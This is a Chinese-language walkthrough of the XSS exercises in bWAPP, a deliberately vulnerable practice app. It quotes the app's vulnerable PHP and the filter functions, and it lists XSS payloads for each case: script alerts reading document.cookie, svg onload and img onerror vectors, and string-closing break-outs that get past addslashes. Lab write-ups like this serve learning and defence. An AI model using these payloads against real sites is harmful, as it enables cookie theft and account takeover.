XSS

在chrome上,需要先关闭xss保护

反射型

low

对输入未做过滤

$data = no_check($data);

输入<script>alert(document.cookie)</script>


middle

输入校验

function xss_check_4($data)
{// addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.// These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).// Do NOT use this for XSS or HTML validations!!!return addslashes($data);}

addslashes对’、”、\、NUL进行了编码,在其前面加上\,例如输入”会输出\”。
使用payload<script>alert(document.cookie)</script>仍可以正常成功。

但是想要alert字符的话不会成功,因为引号被转义了。为了绕过转义,可以将<script>alert('test')</script>写为<script>alert(/test/)</script>

测试成功后,我才发现在js中使用/包字符串好像和”“的作用是一样的,等有时间再细学下JS

high

function xss_check_3($data, $encoding = "UTF-8")
{// htmlspecialchars - converts special characters to HTML entities    // '&' (ampersand) becomes '&amp;' // '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set// "'" (single quote) becomes ''' (or &apos;) only when ENT_QUOTES is set// '<' (less than) becomes '&lt;'// '>' (greater than) becomes '&gt;'  return htmlspecialchars($data, ENT_QUOTES, $encoding);}

POST

和GET相同

STORE

low

POC<script>alert('hack')</script>

middle and high

同上

change secret

经验不足,没有想到……

把hidden改为text可以出现隐藏的输入框


插入POC"><svg onload=alert(1)><"

提交后页面HTML变为

middle and high

删除了low中的提交点,改为了token验证。

Store——User-Agent

low

这里会将HTTP Headers中的User-Agent作为日志中的User-Agent输出,修改其为js代码可以将其输出到浏览器上。

$ip_address = $_SERVER["REMOTE_ADDR"];
$user_agent = $_SERVER["HTTP_USER_AGENT"];

middle

绕过addslashes

high

使用了htmlspecialchars

store——cookie

不知道怎么做……

Reflected (JSON)

low

这个,思路清奇啊,可以看到,关键代码是

$string = '{"movies":[{"response":"' . $title . '??? Sorry, we don't have that movie :("}]}';
<script>var JSONResponseString = '<?php echo $string ?>';// var JSONResponse = eval ("(" + JSONResponseString + ")");var JSONResponse = JSON.parse(JSONResponseString);document.getElementById("result").innerHTML=JSONResponse.movies[0].response;</script>

把php语句替换后得到

<script>var JSONResponseString = '{"movies":[{"response":"' . $title . '??? Sorry, we don't have that movie :("}]}';// var JSONResponse = eval ("(" + JSONResponseString + ")");var JSONResponse = JSON.parse(JSONResponseString);document.getElementById("result").innerHTML=JSONResponse.movies[0].response;</script>

一开始我以为是DOM型的,后来发现title在输出时被包裹在单引号了,似乎并不可以。网上查阅了一波大神思路后,发现是使用闭合json语句的方法。

POC

 "}]}';alert(1);</script>

此时html中出现了

<script>var JSONResponseString = '{"movies":[{"response":"' "}]}';alert(1);</script>'??? Sorry, we don't have that movie :("}]}';// var JSONResponse = eval ("(" + JSONResponseString + ")");var JSONResponse = JSON.parse(JSONResponseString);document.getElementById("result").innerHTML=JSONResponse.movies[0].response;</script>

选择在第一行语句中直接闭合json语句,同时加上一个</script>闭合js代码,将后面的语句都变为无效语句。可以看到markdown已经很贴心的将无效的代码注释掉了。

middle and high

使用htmlspecialchars,安全

Reflected (AJAX/JSON)

不是很懂js,但是看样子在0和1等级的时候,可以eval执行我们的输入,但是

<?phpif($_COOKIE["security_level"] == "2"){
?>JSONResponse = JSON.parse(xmlHttp.responseText);
<?php}else{
?>JSONResponse = eval("(" + xmlHttp.responseText + ")");
<?php}
?>

payload

<img src=x onerror=alert(1)>

or

<svg onload=alert(1)>

Reflected (Back Button)

low

终于有我会的了……

<p>Click the button to go to back to the previous page:<input type=button value="Go back" onClick="document.location.href='http://localhost/bwapp/portal.php'"></p>

可以看到这里onClick中值是可以改变的,将http头中的refer(表示目前的网页是从哪个网页跳转来到)改为

 "><script>alert(/1/)</script>

后台代码中也表示出了是使用HTTP_REFERER来判断上一个网页是什么。

    <input type=button value="Go back" onClick="document.location.href='<?php echo isset($_SERVER["HTTP_REFERER"]) ? xss($_SERVER["HTTP_REFERER"]) : ""?>'">

Reflected (Eval)

从html中可知,这里会将我们传入的函数放入eval中执行

<script>eval("document.write(Date())");</script>

将Date()函数替换为我们要执行的函数,比如

alert(/1/)

也可使用闭合语句的方法

)"); alert(/1/)</script>

Reflected (HREF)

low

XSS位置,其中$name可以由我们输入

<td align="center"> <a href=xss_href-3.php?movie=<?php echo $row["id"]; ?>&name=<?php echo hpp($name);?>&action=vote>Vote</a></td>

闭合标签

""><script>alert(/hack/)</script> //

结果

<td align="center"> <a href=xss_href-3.php?movie=1&name=""><script>alert(/hack/)</script> //&action=vote>Vote</a></td>

midlle and high

使用urlencode()

Reflected (Login Form)

没找到可以xss的地方,用sql注入进去了

Reflected (PHP_SELF)

不懂这个要考什么

low

<script>alert(1)</script>

middle and hogh

Reflected (User-Agent)

User-Agent为注入点

结语

到这里差不多算结束了,只能说这个题目种类范围覆盖很全,但是质量确实很一般,很多题目都只是为了让我们知道有那一种的xss注入点,有可能还存在多个注入点的情况。在输入校验上,一般都是low不对输入进行编码,middle使用addslahes,high使用htmlspecialchars,一般只要找到注入点,这个题就算完成了。

bWAPP解题笔记——XSS相关推荐

  1. bWAPP解题笔记——A7-Missing Functional Level Access Control

    A7--Missing Functional Level Access Control 应用层访问控制缺失. Directory Traversal - Directories low 未对输入的目录 ...

  2. 模拟六:STEMA 考试选择题模拟练习试卷(中级组)及答案 + 自我解题笔记

    模拟一:STEMA 考试选择题模拟练习试卷(初级组)及答案 + 自我解题笔记 模拟二:STEMA 考试选择题模拟练习试卷(中级组)及答案 + 解题后期更新 模拟三:STEMA 考试选择题模拟练习试卷( ...

  3. 模拟四:STEMA 考试选择题模拟练习试卷(中级组)及答案 + 自我解题笔记

    模拟一:STEMA 考试选择题模拟练习试卷(初级组)及答案 + 自我解题笔记 模拟二:STEMA 考试选择题模拟练习试卷(中级组)及答案 + 解题后期更新 模拟三:STEMA 考试选择题模拟练习试卷( ...

  4. 模拟三:STEMA 考试选择题模拟练习试卷(初级组)及答案 + 自我解题笔记

    模拟一:STEMA 考试选择题模拟练习试卷(初级组)及答案 + 自我解题笔记 模拟二:STEMA 考试选择题模拟练习试卷(中级组)及答案 + 解题后期更新 模拟三:STEMA 考试选择题模拟练习试卷( ...

  5. 模拟一:STEMA 考试选择题模拟练习试卷(初级组)及答案 + 自我解题笔记

    模拟一:STEMA 考试选择题模拟练习试卷(初级组)及答案 + 自我解题笔记 模拟二:STEMA 考试选择题模拟练习试卷(中级组)及答案 + 解题后期更新 模拟三:STEMA 考试选择题模拟练习试卷( ...

  6. 解题笔记(15)——几个栈和递归的问题

    本文介绍了几个栈和递归的问题,当然递归的本质就是栈.这些问题网上都能找到解答,自己思考并实现了一下,供网友参考. 问题1:跳台阶问题.具体描述,一个台阶总共有n级,如果一次可以跳1级,也可以跳2级.求 ...

  7. 模拟五:STEMA 考试选择题模拟练习试卷(初级组)及答案 + 自我解题笔记

    模拟一:STEMA 考试选择题模拟练习试卷(初级组)及答案 + 自我解题笔记 模拟二:STEMA 考试选择题模拟练习试卷(中级组)及答案 + 解题后期更新 模拟三:STEMA 考试选择题模拟练习试卷( ...

  8. 厉害了!LeetCode 解题笔记终于在GitHub开源了!

    今天给大家分享2套手册.先看看一大牛整理了一套初学到进阶的 LeetCode学习资料,分享一个火爆 GitHub 的 LeetCode 刷题项目(Fucking Algorithm)最近终于出电子版了 ...

  9. CodeForce#1625B Elementary Particles解题笔记

    原题链接 B. Elementary Particles time limit per test 2 seconds memory limit per test 256 megabytes input ...

最新文章

  1. 还原淘宝首页最顶部的导航栏(含下拉菜单,图标等)
  2. 动态页面加载速度太慢
  3. Bootstrap 3 移除输入框聚焦线 How to remove border (outline) around text/input boxes?
  4. Linux查看CPU型号及内存频率及其它信息的命令
  5. Python地理数据处理库shapely支持函数总结
  6. 《Python游戏趣味编程》 第7章 飞机大战
  7. 最适合数据分析师的数据库为什么不是MySQL?
  8. Linux 代码美化(二)
  9. 平方根函数sqrt和牛顿迭代法
  10. android 休眠锁
  11. Java学习笔录3(变量和常量)
  12. 在excel中使用宏和公式把汉字转换成拼音
  13. 弘辽科技:如何写出自带流量的标题
  14. PHP随机生成英文大小写
  15. Sentinel-2批量大气校正_基于Sen2Cor
  16. 网络营销信息传递的基本要素
  17. 使用DOS命令REG操作注册表
  18. 硬件设计37之积分放大电路的继续研究
  19. [译] 区块链如何帮助重塑医疗保健行业
  20. 计算机谱子初音,初音未来 简谱与歌谱

热门文章

  1. 201571030327 读《构建之法》和对今后学习的疑问
  2. 平安科技金融云 持续创新成果显著
  3. 菜鸟练手--通过接口配置VLAN
  4. Jsp,Servlet连接数据库
  5. 【SA8295P 源码分析】28 - QNX Ethernet MAC 驱动 之 emac_mdio_link_monitor_thrd() MDIO监控线程 源码分析
  6. Linux 程序开发 之 库打桩机制
  7. 解决coreDNS无法解释Service问题
  8. 评价指标之准确率、精确率、召回率、F1值
  9. 树上倍增的写法和应用(详细讲解,新手秒懂)
  10. 奋斗终身,看卢俊卿心目中想抵达的幸福